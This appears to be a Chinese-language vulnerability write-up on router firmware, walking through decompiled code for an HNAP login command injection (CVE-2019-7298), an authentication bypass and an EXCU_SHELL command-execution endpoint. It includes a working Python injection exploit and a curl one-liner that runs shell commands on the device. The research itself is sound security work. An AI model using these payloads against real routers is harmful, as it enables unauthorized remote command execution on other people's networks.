mxmlElementSetAttr(v49, "SOAP-ENV:encodingStyle", "http://schemas.xmlsoap.org/soap/encoding/");
v48 = mxmlNewElement(v49, "SOAP-ENV:Body");
if ( !v48 )
goto LABEL_100;
v47 = mxmlNewElement(v48, "LoginResponse");
if ( !v47 )
goto LABEL_102;
mxmlElementSetAttr(v47, "xmlns", "http://purenetworks.com/HNAP1/");
v46 = mxmlNewElement(v47, "LoginResult");
if ( !v46 )
goto LABEL_104;
mxmlNewText(v46, 0, v41);
for ( byte_58E0F3 = 0;//遍历路由器全局登录会话表,找空位置。
(unsigned __int8)byte_58E0F3 < 0x14u && byte_58EB90[20 * (unsigned __int8)byte_58E0F3 + 19];
++byte_58E0F3 )
{
;
}
if ( byte_58E0F3 == 20 )//会话表满,返回。
{
mxmlDelete(String);
return 0;
}
for ( i = 0; i < 10; ++i )//把本次 Cookie 写入会话表。
{
if ( (unsigned __int8)byte_58E0F3 < 0x14u )//标记登录有效,写入登录时间戳。
byte_58EB90[20 * (unsigned __int8)byte_58E0F3 + 8 + i] = byte_58E0E8[i];
}
if ( (unsigned __int8)byte_58E0F3 < 0x14u )
{
byte_58EB90[20 * (unsigned __int8)byte_58E0F3 + 19] = 1;
time(&byte_58EB90[20 * (unsigned __int8)byte_58E0F3]);
}
for ( i = 0; i < 32; ++i )//把 PrivateKey 写入会话表。
{
if ( (unsigned __int8)byte_58E0F3 < 0x14u )
byte_58E130[33 * (unsigned __int8)byte_58E0F3 + i] = byte_58E10C[i];
}
v52 = mxmlSaveAllocString(v50, 0);//构建成功 XML,发送给前端。
if ( v52 )
{
sub_41ED70(dword_58E080, 200, v52, &dword_4A7F1C);
free(v52);
}
}
else//密码不相等 → 密码错误分支。
{
v50 = mxmlNewXML("1.0");
if ( !v50 )
{
LABEL_96:
printf("Create new xml erro!!!");
return 0;
}
v49 = mxmlNewElement(v50, "SOAP-ENV:Envelope");
if ( !v49 )
{
LABEL_98:
mxmlDelete(v50);
puts("soap_env=NULL", v31, v32);
return 0;
}
mxmlElementSetAttr(v49, "xmlns:SOAP-ENV", "http://schemas.xmlsoap.org/soap/envelope/");
mxmlElementSetAttr(v49, "SOAP-ENV:encodingStyle", "http://schemas.xmlsoap.org/soap/encoding/");
v48 = mxmlNewElement(v49, "SOAP-ENV:Body");
if ( !v48 )
{
LABEL_100:
mxmlDelete(v50);
puts("body=NULL", v33, v34);
return 0;
}
v47 = mxmlNewElement(v48, "LoginResponse");
if ( !v47 )
{
LABEL_102:
mxmlDelete(v50);
puts("LoginResponse_xml=NULL", v35, v36);
return 0;
}
mxmlElementSetAttr(v47, "xmlns", "http://purenetworks.com/HNAP1/");
v46 = mxmlNewElement(v47, "LoginResult");
if ( !v46 )
{
LABEL_104:
mxmlDelete(v50);
puts("LoginResult_xml=NULL", v37, v38);
return 0;
}
mxmlNewText(v46, 0, "FAILED");//写入FAILED,对应前端 “密码错误,请重新输入”。
v52 = mxmlSaveAllocString(v50, 0);
if ( v52 )
{
sub_41ED70(dword_58E080, 200, v52, &dword_4A7F1C);
free(v52);
}
}
LABEL_107:
mxmlDelete(v50);
mxmlDelete(String);
return 0;
}
LABEL_108:
printf("%s======%d\n", "Login", 580);
mxmlDelete(String);
return 0;
}
v40 = mxmlFindElement(Element, String, "Captcha", 0, 0, 1);//查找前端 XML 里的<Captcha>验证码节点。
Text = (const char *)mxmlGetText(v40, 0);//读取前端验证码。
v60 = 0;
v61 = 0;
if ( Text )
{
memcpy(&v60, Text, 5);
for ( j = 0; j < 5; ++j )//复制前 5 位验证码。
{
if ( *((char *)&v60 + j) >= 65 && *((char *)&v60 + j) < 91 )
*((_BYTE *)&v60 + j) += 32;
}//大写验证码转小写。
printf("captchaTemp==%s\n", (const char *)&v60);
printf("captchaData==%s\n", byte_58E3E8);
v28 = strlen(byte_58E3E8);
if ( strncmp(&v60, byte_58E3E8, v28) )//对比前端验证码与路由器正确验证码,不一致则登录失败。验证码异常、无验证码兜底逻辑:前端没传验证码,直接返回登录失败。
{
v50 = mxmlNewXML("1.0");
if ( !v50 )
goto LABEL_96;
v49 = mxmlNewElement(v50, "SOAP-ENV:Envelope");
if ( !v49 )
goto LABEL_98;
mxmlElementSetAttr(v49, "xmlns:SOAP-ENV", "http://schemas.xmlsoap.org/soap/envelope/");
mxmlElementSetAttr(v49, "SOAP-ENV:encodingStyle", "http://schemas.xmlsoap.org/soap/encoding/");
v48 = mxmlNewElement(v49, "SOAP-ENV:Body");
if ( !v48 )
goto LABEL_100;
v47 = mxmlNewElement(v48, "LoginResponse");
if ( !v47 )
goto LABEL_102;
mxmlElementSetAttr(v47, "xmlns", "http://purenetworks.com/HNAP1/");
v46 = mxmlNewElement(v47, "LoginResult");
if ( !v46 )
goto LABEL_104;
mxmlNewText(v46, 0, "FAILED");
v52 = mxmlSaveAllocString(v50, 0);
if ( v52 )
{
sub_41ED70(dword_58E080, 200, v52, &dword_4A7F1C);
free(v52);
}
goto LABEL_107;
}
goto LABEL_63;
}
v50 = mxmlNewXML("1.0");
if ( v50 )
{
v49 = mxmlNewElement(v50, "SOAP-ENV:Envelope");
if ( v49 )
{
mxmlElementSetAttr(v49, "xmlns:SOAP-ENV", "http://schemas.xmlsoap.org/soap/envelope/");
mxmlElementSetAttr(v49, "SOAP-ENV:encodingStyle", "http://schemas.xmlsoap.org/soap/encoding/");
v48 = mxmlNewElement(v49, "SOAP-ENV:Body");
if ( v48 )
{
v47 = mxmlNewElement(v48, "LoginResponse");
if ( v47 )
{
mxmlElementSetAttr(v47, "xmlns", "http://purenetworks.com/HNAP1/");
v46 = mxmlNewElement(v47, "LoginResult");
if ( v46 )
{
mxmlNewText(v46, 0, "FAILED");
v52 = mxmlSaveAllocString(v50, 0);
if ( v52 )
{
sub_41ED70(dword_58E080, 200, v52, &dword_4A7F1C);
free(v52);
}
mxmlDelete(v50);
mxmlDelete(String);
return 0;
}
else
{
mxmlDelete(v50);
puts("LoginResult_xml=NULL", v26, v27);
return 0;
}
}
else
{
mxmlDelete(v50);
puts("LoginResponse_xml=NULL", v24, v25);
return 0;
}
}
else
{
mxmlDelete(v50);
puts("body=NULL", v22, v23);
return 0;
}
}
else
{
mxmlDelete(v50);
puts("soap_env=NULL", v20, v21);
return 0;
}
}
else
{
printf("Create new xml erro!!!");
return 0;
}
}

漏洞1:CVE-2019-7298命令注入

image-20260519153602400

1
2
3
原理: snprintf(v13, 4999, "echo '%s' >/var/hnaplog", a7);//通过‘闭合前面的单引号,用'闭合后面的单引号,中间执行 `执行我们的命令` 
cmd="'`echo hello > /web_mtn/zzz.txt`'"
== "echo ''`echo hello > /web_mtn/zzz.txt`'' >/var/hnaplog"

构建exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
IP="192.168.0.1"
cmd="'`echo hello > /web_mtn/zzz.txt`'"
length=len(cmd)
handers=requests.utils.default_headers()
handers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36"
handers["SOAPAction"]="http://purenetworks.com/HNAP1/Login"#可以是HNAP1中动作表中的任何
handers["Content-Length"]=str(len(cmd))
handers["Content-Type"]="text/xml; charset=UTF-8"
handers["Accept"]="*/*"
handers["Accept-Encoding"]="gzip, deflate, br"
handers["Accept-Language"]="en-US,en;q=0.9"
r=requests.post("http://"+IP+"/HNAP1/",headers=handers,data=cmd)

image-20260519153757270

打断点

image-20260519154649903

image-20260519154758859

然后我们进行调试,查看是否执行到了system

image-20260519154842808

现在到第一个断点处,c继续

image-20260519155158517

si进入函数查看执行情况,成功放入

image-20260519155239894

成功执行

image-20260519155456415

漏洞2:未授权访问

发现依旧是发送了两个包

image-20260519160508577

查看调用的接口

image-20260519160545103

image-20260519160614309

重新看一下websUrlHandlerDefine处理逻辑

image-20260519160857046

1
2
3
4
5
6
7
// 作用:注册一个网页接口路由(URL + 处理函数 + 权限)
// 5个参数:
// a1 = URL路径(如 /HNAP1)
// a2 = 请求方法(GET/POST,传0则用默认GET)
// a3 = 保留参数
// a4 = 处理函数指针
// a5 = 权限标记(1表示所有数据包都需要首先经过该回调函数进行处理,通常用来做数据包鉴权,路径合法性判断,未授权访问路径定义等,0为默认,通常用来定义认证后可以访问到的接口逻辑实现,2表示没有回调函数匹配的数据包会通过该回调函数处理)只有当优先级为1的handler函数返回值为0(意味着通过),才能根据路径匹配优先级为0的handler函数,所以,优先级为1的websSecurityHandler函数就是用来鉴权的

跟进查看一下鉴权函数sub_4110F4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
int __fastcall sub_4110F4(_DWORD *a1, int a2, int a3, int a4, int a5, const char *a6)
_DWORD *a1, // 最重要!webs 结构体(连接信息、Cookie、URL、客户端信息)
int a2, // 无用
int a3, // 无用
int a4, // 无用
int a5, // 当前访问的 URL 路径(如 /index.html、/Login.html)
const char *a6 // 请求的路径(用于权限匹配)
{
int v6; // $v0
int v8; // [sp+18h] [+18h]
int v9; // [sp+1Ch] [+1Ch]
int i; // [sp+20h] [+20h]
int v11; // [sp+28h] [+28h]
int v12; // [sp+2Ch] [+2Ch]
int v13; // [sp+30h] [+30h]
int v14; // [sp+34h] [+34h]
int v15; // [sp+38h] [+38h]
_BYTE *v16; // [sp+3Ch] [+3Ch]
const char *v17; // [sp+40h] [+40h]
int v18; // [sp+48h] [+48h] BYREF
int v19; // [sp+4Ch] [+4Ch] BYREF
_DWORD v20[5]; // [sp+50h] [+50h] BYREF
_DWORD v21[5]; // [sp+64h] [+64h] BYREF
_DWORD v22[6]; // [sp+78h] [+78h] BYREF

sub_420498(a1);
v16 = (_BYTE *)sub_42046C(a1);
v17 = (const char *)sub_4204C4(a1);
v14 = sub_42039C(a1);
v11 = a1[54];
v18 = 0;
time(&v19);
apmib_get(7011, (int)&v18);
//检查是否携带cookie,并且检查10分钟内是否又活动,如果10分钟没有活动,就清除会话
for ( i = 0; i < 20; ++i )
{
if ( byte_58EB90[20 * i + 8] && v11 && v19 - *(_DWORD *)&byte_58EB90[20 * i] >= 601 )
{
byte_58EB90[20 * i + 19] = 0;
memset(&byte_58EB90[20 * i + 8], 0, 11);
memset(&byte_58E130[33 * i], 0, 33);
}
}
//程序会检测是否访问的是特定路径
if ( (strstr(a5, ".html") || strstr(a5, ".asp") || strstr(a5, ".php")) && !strstr(a5, "Login") )//只对 .html/.asp/.php 静态页面做登录校验,完全放过了 HNAP SOAP 接口(动态接口)HNAP 接口(SOAP POST 请求,无上述后缀)完全不进入这个 if 分支,直接跳过所有登录校验!
{
if ( v11 )
{
for ( i = 0; i < 20; ++i )
{
if ( byte_58EB90[20 * i + 8] && strstr(v11, &byte_58EB90[20 * i + 8]) )
{
time(&byte_58EB90[20 * i + 4]);
if ( *(_DWORD *)&byte_58EB90[20 * i + 4] - *(_DWORD *)&byte_58EB90[20 * i] >= 600 )
{
byte_58EB90[20 * i + 19] = 0;
memset(&byte_58EB90[20 * i + 8], 0, 11);
memset(&byte_58E130[33 * i], 0, 33);
}
else
{
*(_DWORD *)&byte_58EB90[20 * i] = *(_DWORD *)&byte_58EB90[20 * i + 4];
byte_58EB90[20 * i + 19] = 1;
}
break;
}
}
}
if ( !strstr(a5, "EULA.html")
&& !strstr(a5, "Problem_Cable.html")
&& !strstr(a5, "Problem_Conflict.html")
&& !strstr(a5, "Problem_WAN.html")
&& !strstr(a5, "Problem_success.html") )
{
if ( strstr(a5, "Wizard.html") )
{
if ( v18 != 1 )
goto LABEL_45;
LABEL_44:
sub_41F084(a1, "Login.html");
goto LABEL_45;
}
if ( !v11 || !byte_58EB90[20 * i + 19] )
{
memset(v20, 0, sizeof(v20));
memset(v21, 0, sizeof(v21));
memset(v22, 0, 20);
sub_426A2C("br0", v21);
sub_426A2C("eth1", v20);
sub_426B40("br0", v22);
if ( !v18 )
{
sub_41F084(a1, "Wizard.html");
goto LABEL_45;
}
if ( strstr(a1[330], v21)
|| strstr(a1[330], "dlinkrouter.com")
|| strstr(a5, "Login.html")
|| strstr(a5, "Network.html") )
{
goto LABEL_44;
}
if ( sub_426C54() )
{
sub_41F084(a1, "Problem_Cable.html");
}
else if ( LOBYTE(v20[0]) )
{
v6 = inet_addr((int)v22);
if ( sub_4274B8(v6, v21, v20) )
sub_41F084(a1, "Problem_success.html");
else
sub_41F084(a1, "Problem_Conflict.html");
}
else
{
sub_41F084(a1, "Problem_WAN.html");
}
}
}
}
//假设我们访问的是HNAP1,就不会执行上面的代码,进入下面逻辑处理
LABEL_45:
v15 = sub_4179DC(a6);
if ( !v15 )
return 0;
v12 = sub_417B64(v15);
v13 = 0;
if ( (v14 & 0x40) != 0 && !dword_58D3B0 )
goto LABEL_87;
if ( v12 )
{
if ( v17 && *v17 )
{
if ( !sub_4162F4((int)v17) )
{
++dword_58E928;
if ( !sub_410F10(a6) )
return 0;
sub_41F084(a1, "index.htm");
print_log(3, "SEC: Unknown user <%s> attempted to access <%s>\n", v17, a6);
v13 = 1;
goto LABEL_87;
}
if ( !sub_417C20(v17, v15) )
{
++dword_58E928;
if ( !sub_410F10(a6) )
return 0;
sub_41F084(a1, "index.htm");
v13 = 1;
goto LABEL_87;
}
if ( v16 && *v16 )
{
v9 = sub_416364(v17);
if ( v9 )
{
if ( strcmp(v16, v9) )
{
++dword_58E928;
if ( !sub_410F10(a6) )
return 0;
sub_41F084(a1, "index.htm");
print_log(3, "SEC: Password fail for user <%s>attempt to access <%s>\n", v17, a6);
v13 = 1;
}
sub_403588(v9);
}
goto LABEL_87;
}
if ( (v14 & 0x20000) != 0 )
{
a1[52] = sub_416364(v17);
v8 = sub_4199F8(a1);
if ( strcmp(a1[334], v8) )
{
++dword_58E928;
if ( !sub_410F10(a6) )
return 0;
sub_41F084(a1, "index.htm");
v13 = 1;
}
sub_403588(v8);
goto LABEL_87;
}
if ( v12 == 3 )
a1[62] |= 0x20000u;
syslog(4, "[%s,%d]", "websSecurityHandler", 443);
if ( !sub_410F10(a6) )
return 0;
}
else
{
if ( v12 == 1 )
goto LABEL_87;
if ( v12 == 3 )
a1[62] |= 0x20000u;
if ( !sub_410F10(a6) )
return 0;
}
sub_41F084(a1, "index.htm");
++dword_58E910;
v13 = 1;
goto LABEL_87;
}
++dword_58E928;
sub_41F454(a1, 404, "Page Not Found");
v13 = 1;
LABEL_87:
sub_403588(v15);
return v13;
}

image-20260519164115940

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//权限访问
int __fastcall sub_417B64(int *a1)
{
_BYTE *v2; // [sp+18h] [+18h]
int v3; // [sp+1Ch] [+1Ch]
int v4; // [sp+20h] [+20h]

v3 = geturl(a1);
if ( !v3 )
return 1;
v2 = (_BYTE *)sub_417894(v3);
if ( v2 && *v2 )
v4 = sub_416D7C(v2);
else
v4 = sub_4175F4(v3);
sub_403588(v3);
return v4;
}

image-20260519164916911

image-20260519165105099

在“adm”组里添加一个用户,用户名为“admin”,密码为“1234”,函数会对在用户组“adm”中,访问路径为“/”的添加访问控制,认证方法为3,就是说访问“/”的时候,触发的访问策略属于用户组“adm”,控制方法为3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
v12 = sub_417B64(v15);  //首先会根据访问的路径,反查属于的组别,因为我们访问的是“/”,所以属于adm这个用户组
int __fastcall sub_417B64(int *a1)
{
_BYTE *v2; // [sp+18h] [+18h]
int v3; // [sp+1Ch] [+1Ch]
int v4; // [sp+20h] [+20h]

v3 = geturl(a1);
if ( !v3 )
return 1;
v2 = (_BYTE *)sub_417894(v3);
if ( v2 && *v2 )
v4 = sub_416D7C(v2);
else
v4 = sub_4175F4(v3);
sub_403588(v3);
return v4;
}
int __fastcall sub_417894(int a1)//查找对应的用户组
{
int v2; // [sp+20h] [+20h]
int v3; // [sp+24h] [+24h] BYREF

v3 = 0;
v2 = sub_41A160(dword_58C488, "access", "name", a1, 0);//在access表中查找name列等于a1的行,返回行号
if ( v2 >= 0 )
sub_41AA3C(dword_58C488, "access", "group", v2, &v3);//如果找到了该行,获取该行对应的group列的值,给到v3
return v3;
}
int __fastcall sub_416D7C(int a1)//根据组查方法,因为我们访问的是/所以是adm组,查到对应的控制方法是3,最总返回3
{
int v2; // [sp+20h] [+20h]
int v3; // [sp+24h] [+24h] BYREF

v2 = sub_41A160(dword_58C488, "groups", "name", a1, 0);
if ( v2 < 0 )
return 4;
sub_41A8F4(dword_58C488, "groups", "method", v2, &v3);
return v3;
}

由于v12=3,v17为空,所以会执行到如下位置,而sub_410F10函数返回值恒为0,所以最终sub_4110F4的返回值也一定为0,然后,程序就会进入websHNAPHandler函数,处理HNAP1路径的请求,

为什么我们访问的命名时/HNAP1返回的确实/呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall geturl(int *a1)//检查当前路径是否在访问控制表中注册过,如果没被注册过,就递归到父目录,由于我们只注册了/,对应的访问方法为3,导致了越权访问
{
int v2; // [sp+18h] [+18h]
int *i; // [sp+1Ch] [+1Ch]
int *v4; // [sp+20h] [+20h]
int v5; // [sp+24h] [+24h]

v5 = 0;
v4 = (int *)sub_4036C4(a1);
v2 = strlen(v4);
while ( v2 && !v5 )
{
if ( sub_417584(v4) )
{
v5 = sub_4036C4(v4);
}
else
{
for ( i = (int *)((char *)v4 + v2 - 1);
i >= v4 && (*(_BYTE *)i == 47 || *(_BYTE *)i == 92);
i = (int *)((char *)i - 1) )
{
*(_BYTE *)i = 0;
}
while ( i >= v4 && *(_BYTE *)i != 47 && *(_BYTE *)i != 92 )
{
*(_BYTE *)i = 0;
i = (int *)((char *)i - 1);
}
v2 = strlen(v4);
}
}
sub_403588((int)v4);
return v5;
}

3.利用EXCU_SHELL 原生 RCE(官方后门式接口)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
int __fastcall sub_4234CC(int a1)
{
int v1; // $a1
int v2; // $a2
int v3; // $v0
int v4; // $a1
int v5; // $a2
int v6; // $a1
int v7; // $a2
const char *v9; // [sp+1Ch] [+1Ch]
int v10; // [sp+20h] [+20h]
int v11; // [sp+24h] [+24h]
int v12; // [sp+28h] [+28h]
int i; // [sp+2Ch] [+2Ch]
char v14[104]; // [sp+30h] [+30h] BYREF

v12 = 0;
v11 = 1;
strcpy( //构建http响应头
v14,
"HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n");
v10 = 0;
v9 = (const char *)malloc(10240); //申请内存
if ( v9 )
{
memset(v9, 0, 10240);
v10 = malloc(51200);
if ( v10 )
{
memset(v10, 0, 51200);
for ( i = 0; i < 128; ++i )//读http头
{
if ( *(_DWORD *)(a1 + 8 * (i + 36)) && *(_DWORD *)(a1 + 8 * (i + 36) + 4) )
{
memset(v9, 0, 10240);
strcpy(v9, *(_DWORD *)(a1 + 8 * (i + 36)));//将头的值复制到命令缓冲区中
if ( sub_4233B0(v9) ) //校验有没有<?xml 没有返回0
{
printf("ParseCMD error cmdlines:%s\n", v9); //解析命令失败
v11 = -1;
goto LABEL_18;
}
if ( strstr(v9, "FillMacCloneMac") )//判断命令中是否有FillMacCloneMac
{
strcat(v9, " ");//找到拼接空格
strcat(v9, a1 + 48);//拼接
}
printf("cmd%d:%s\n", i, v9);//打印执行的指令日志
v12 += sub_423280(v9, v10 + v12, 51200);
}
}
if ( v12 > 0 )
{
v3 = strlen(v14);
sub_41F734(a1, v14, v3);
sub_41F734(a1, v10, v12);
}
puts("---------------------websdone start", v1, v2);
sub_41FBA4(a1, 200);
puts("---------------------websdone end", v4, v5);
}
else
{
printf("websExcuteShellHandler: not enough memory (1)\n!");
v11 = -1;
}
}
else
{
printf("websExcuteShellHandler: not enough memory (0)\n!");
v11 = -1;
}
LABEL_18:
free(v9);
free(v10);
puts("---------------------free end", v6, v7);
return v11;
}
int __fastcall sub_4233B0(int a1)
{
int v2; // $v0
int v3; // [sp+18h] [+18h]
_BYTE *v4; // [sp+1Ch] [+1Ch]

v4 = (_BYTE *)strstr(a1, "<?xml"); //判断是否包含<?xml
if ( v4 )//如果包含
{
v3 = fopen("/etc/data.xml", "w");//打开文件写
if ( !v3 )
{
printf("\n open %s fail\n", "/etc/data.xml");
return -1;
}
v2 = strlen(v4);
if ( !fwrite(v4, 1, v2, v3) )
{
printf("\n write %s fail\n", "/etc/data.xml");
return -1;
}
fclose(v3);
*v4 = 0;
}
return 0;//没找到返回0
}
int __fastcall sub_423280(int a1, int a2, unsigned int a3)
{
int v3; // $a1
int v4; // $a2
int v6; // $a1
int v7; // $a2
int v8; // [sp+18h] [+18h]
int v9; // [sp+1Ch] [+1Ch]

if ( strstr(a1, "apply") )//如果执行中包含字符串“apply"
{
sub_421468(a1);
return 1;
}
else if ( a3 < 0xC801 )
{
v8 = popen(a1, "r");
if ( v8 )
{
v9 = fread(a2, 1, a3, v8);
pclose(v8);
if ( v9 > 0 )
*(_BYTE *)(a2 + v9 - 1) = 10;
return v9;
}
else
{
puts("error", v6, v7);
return 0;
}
}
else
{
puts("Error: Invalid length", v3, v4);
return 0;
}
}
int sub_421468(int a1, ...)
{
int v2; // [sp+18h] [+18h]
int v3; // [sp+20h] [+20h] BYREF
va_list va; // [sp+34h] [+34h] BYREF

va_start(va, a1);//从a1后面开始读参数
v3 = 0;
v2 = 0;
if ( sub_40BD60(&v3, 20480, a1, (int)va) >= 20480 ) //将a1后面的给到v3
print_log(0, "doSystem: lost data, buffer overflow\n");//执行系统命令时数据丢失 → 缓冲区溢出了
if ( v3 )
{
v2 = system(v3); //执行v3
sub_403588(v3);
}
return v2;
}
1
2
apply中执行这里的system
exp:curl http://192.168.0.1/EXCU_SHELL -H 'Command1:ls ' -H 'Confirm1: apply'

image-20260519211319143

追踪一下程序执行逻辑

image-20260520102946932

继续

image-20260520103205851

继续

image-20260520103315626

image-20260520103459465

image-20260520103615082

执行ls命令